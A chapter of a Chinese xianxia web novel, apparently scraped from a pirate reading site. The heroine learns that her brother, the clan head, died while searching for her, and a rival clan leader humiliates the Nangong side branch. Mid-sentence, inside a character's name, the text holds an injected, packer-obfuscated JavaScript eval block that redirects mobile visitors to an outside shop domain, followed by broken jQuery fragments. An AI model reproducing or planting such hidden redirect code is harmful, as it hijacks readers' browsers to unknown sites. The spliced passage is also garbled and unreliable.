从记忆里出来,南宫亦书看向南宫柒,十二年她们都长大了,只留下孩童时的一抹影子。
南宫亦书经历死亡与回归,早就没了孩童时的天真烂漫,而南宫柒好像没太大变化,依旧一副严肃、不苟言笑的样子。
不过,在南宫亦书的记忆里,南宫柒与哥哥南宫亦珩一直相伴习剑练功,两人是伙伴也是很好的朋友。
五年前究竟发生了什么,让她离开了南宫家?
还有……自己的死与她有关系吗?
记忆里的南宫柒虽然总是板着脸,一副少年老成的模样,但南宫亦书能够感受到她的真心。至少,在巷子之前的记忆南宫亦书无从怀疑。
不过……人心难测,她也不知道何为真何为假。
南宫亦书收起思绪,听慕容舟还在喋喋不休地骂着南宫聿,问道:“他得罪过你?”
南宫亦书在脑海中没有找到关于南宫聿的记忆,但直觉早她一步作出选择,告诉她此人不善。慕容舟的态度也证实了这一点。
“谁?哦,他啊,也不算得罪我吧。”慕容舟露出一丝烦躁,“这人是条疯狗,脑子不正常,逮谁咬谁,最好离他远一点。”
这样还没有得罪你呢?!
不过眼下南宫亦书更加关心南宫柒,问道:“南宫柒为什么离开南宫家?”
“你还真问对人了。这一切都得从南宫家族嫡、旁两系讲起……”
“这些我知道。”
南宫家族嫡系血脉拥有一项天赋,可以修炼出器灵,最常见的便是剑灵。剑灵可化人形,一人一剑,完美结合在一起,使得力量修为翻倍。但嫡系人丁稀少子嗣单薄,故嫡系会从旁系中挑选拥有炼灵天赋的人进入嫡系,与嫡系弟子一同修行。
南宫柒就是被选中之人,也是旁系这一辈中唯一一位。
慕容舟简洁明了地说:“五年前,南宫宗主意外离世,南宫家族长老们推南宫柒成为新宗主,南宫柒不愿……”
“等等!”南宫亦书觉得自己一定是听错了,“你说谁……离世?”
“南宫宗主南宫亦珩啊,这可是当年的大事情,你居然不知道?”
“轰”地一声,南宫亦书脑子一片空白,只觉得浑身冰冷,如入千年冰潭,窒息,寒冷。
潭水带走了她仅剩的温暖,冷漠,残酷,甚至不给她反应的时间。
南宫亦书忍着喉咙的酸涩问:“怎么离……世的?”
慕容舟没有注意到南宫亦书的异常说:“南宫亦珩曾有一个妹妹,除了南宫家族弟子没有人知道她的名字,也没人见过她。传言他妹妹在五岁时失踪,出去寻的人只带回了她的木剑,所有人都认为她已经死了,唯独南宫亦珩不相信,这些年一直没有放弃寻找她。听闻南宫亦珩就是在寻找他妹妹的途中被百年树妖偷袭,从背后穿胸而死。”
随着慕容舟的话,南宫亦书像被钉在原地。慕容舟的话如同一把利刃,一刀一刀将南宫亦书的心脏割开。
原来是因为我,因为我他才会死,原来……他从未忘记我。
而我什么都不知道……
南宫亦书眼底情绪产生微妙的变化,这一丝变化正好被巫师淮看在眼里。
“不过我觉得事情没那么简单。”慕容舟压低声音继续说,“南宫亦珩十岁接管南宫家成为南宫宗主,十四岁练就器灵,是各大宗门里最年轻的宗主,也是同辈之中的佼佼者。可谓天之骄子,他的死总归是太草率了。”
此话一出,空气凝滞下来。每个人脸上的神情都带着些许微妙。
南宫亦书觉得好吵,耳边嗡鸣声乍响,听不见其他声音。她极力控制着微颤的身子,握住伞柄的手骤然收紧,指骨微微泛白。
巫师淮和戚逐人都察觉到南宫亦书的异常。巫师淮率先上前,手指握住南宫亦书手里红伞的伞杆向下一压,将她挡住。
视线一暗,南宫亦书有些失神,转头怔愣地看向巫师淮。而巫师淮则目不转睛地看着慕容舟,神态仍然散漫,事不关己的样子。
“怎么了?”慕容舟被巫师淮突然的动作吓了一跳,想着是不是自己说错了话。
南宫亦书收回目光,深深吸了一口,闭上眼睛轻声说:“没事。”
慕容舟这才松了口气。
片刻,嗡鸣声消失,南宫亦书睁开眼睛,眼底的冰冷一闪而逝,回归平静。将伞从面前挪开再合上,动作一气呵成。
“后来呢?”
“后来……听说南宫柒不相信南宫亦珩死于意外,觉得南宫长老对这件事的认定太草率,不愿成为新宗主,甚至不惜亲手断剑,弃了剑道转修刀。”慕容舟用扇子指了指,“就她背上那把。”
南宫亦书审视着南宫柒,目光复杂。
她……究竟是个什么样的人?
巫师淮用沉思的目光瞟了一眼南宫亦书,语气和他人一样散漫,像是随口一问:“那南宫家现在的宗主是谁?”
闻言,南宫亦书也看了过来。
慕容舟的笑脸瞬间拉了下来,冲高台扬了扬下巴:“呐。原南宫旁系家主,南宫聿的父亲南宫峰。”
几人朝高台看去,一位面容俊郎的中年男子正与身旁人交谈着。
慕容舟撇撇嘴:“他也就是运气好,南宫柒退出南宫家,南宫嫡系又子嗣单薄,要不然就凭他,还想坐南宫宗主的位子,何其可笑!”
“还有南宫聿,真有意思。但凡南宫柒成了南宫宗主,早没他什么事了,还有脸在这儿蹦跶。”
“你很厌恶他们。”南宫亦书肯定地说。
先前慕容舟对南宫聿的态度南宫亦书还能暂定两人之间可能存在过节,但现在看来他们之间不简单。
慕容舟也大大方方地承认说:“世上之人千千万,有厌恶的再正常不过。”
下一秒,南宫亦书体会到这句话。
南宫聿的喊声震天:“南宫柒,你不过是南宫亦珩养在身边的一条狗,一个无名刀客,有什么可得意的?”
南宫聿讨厌南宫亦珩的高高在上和南宫柒的目中无人。嫡系血脉又如何,天赋异禀又如何,现在还不是一死一弃。
“啊!!!”
刹那间,一道凌厉剑气划破天空,快如闪电,正中南宫聿,将其掀翻在地。
南宫聿咬着后槽牙大叫道:“谁?谁敢打我?是谁?你给我出……来。”
清脆悠扬的铃铛声在整个万兮云岭缓缓飘荡……
一群女子浩浩荡荡走来,腰间的铃铛随着她们的动作摇曳。
慕容舟小声介绍道:“卢沧商家,商时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290368|150418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冉。”
“看来今日有场好戏。”语气中带着幸灾乐祸。
“南宫公子可是要见我?”商时冉走到南宫聿面前,居高临下地瞥了一眼,声音冰冷而慵懒,带着入骨的寒意和强大的压迫感。
这种压迫感也让周围的人瞬间安静下来。
南宫聿微怔,也忘了从地上爬起来,只是往后退了几步:“商时冉,你要做什么?”
“做什么……”商时冉漫不经心地说,“一大早就听见犬吠,还以为是狗成了精,也来万兮云岭凑热闹,属实没想到是你。”
“噗……”慕容舟一下笑出声来,打破了原本的安静,所有人的目光都聚集他身上。
收起脸上的笑容,慕容舟向前摊摊手说:“抱歉,你们继续。”
南宫聿刚从地上爬起来,商时冉就站在他面前面无表情地睨着他,冰冷的眼神如刀锋般,充满危险的敌意。
“不要再让我从你嘴里听到他的名字。”
商时冉一字一顿,每个字声音都沉一分,“你们南宫旁系不配。”
说完,商时冉面无表情地从南宫聿的身旁走过,又留下一句:“无名刀客也比某些练剑二十年却依旧花拳绣腿的人强上百倍。”
南宫聿还想跟上去,刚走几步被一名南宫弟子拉了回来,在耳边提醒道:“公子,宗主说了不可惹事。”
南宫聿看向高台,满腔怒火无处发泄,猛地甩开对方的手,回到南宫弟子的队伍里。
商时冉走上高台,刚一落座,南宫峰身旁的徐氏宗主徐荣说教道:“贤侄女虽成了商家宗主,但终究还是太年轻,行事缺乏稳妥。怎能在这种场合随意出手,失了稳重。”
“唉,话不能这么说,是南宫聿先口无遮拦犯了贤侄女的忌讳,算起来都是南宫聿的过错,贤侄女稍作教训也情有可原。”
南宫峰反驳徐荣,又语气和缓地对商时冉说道,“聿儿不懂事,我替他道歉,还望贤侄女不要与他计较。”
南宫峰将姿态放得虽低,但仅凭一句道歉就能当什么事都没有发生的话,这世间又何来的仇。
听两人一唱一和,商时冉眼底寒意渐深:“两位还是唤我商宗主吧。至于南宫聿……我为何不计较?”
“贤……商宗主,做人不要不依不饶,得饶人处且饶人。况且按商家与南宫家的关系,南宫宗主也算是你半个长辈。长辈给小辈道歉本就有违伦理,南宫聿不过说了一句话,又不是什么大事。”
南宫峰还没开口,反倒是徐荣异常激动,不知道的还以为两人有什么见不得人的关系。
商时冉冷哼一声,说道:“长辈?我家长辈全都入了黄土只见白骨,敢问南宫家主是我的哪位长辈?”
南宫峰不可思议地看着商时冉。
“那我此次回去必然要在商家祠堂好生祭拜一番,不能失了礼法,以免长辈心里一个不快诅咒商家,影响商家气运,我不成了商家的罪人,这我可担不起。”
“你你你……”南宫峰和徐荣皆是一口气没提上来,半晌不见“你”出什么来。
看着南宫峰从青到红再到紫的脸,商时冉心里的痛就减了一分。
但还远远不够,总有一天她会查清南宫亦珩死亡的真相,她会让与之有关的所有人付出代价。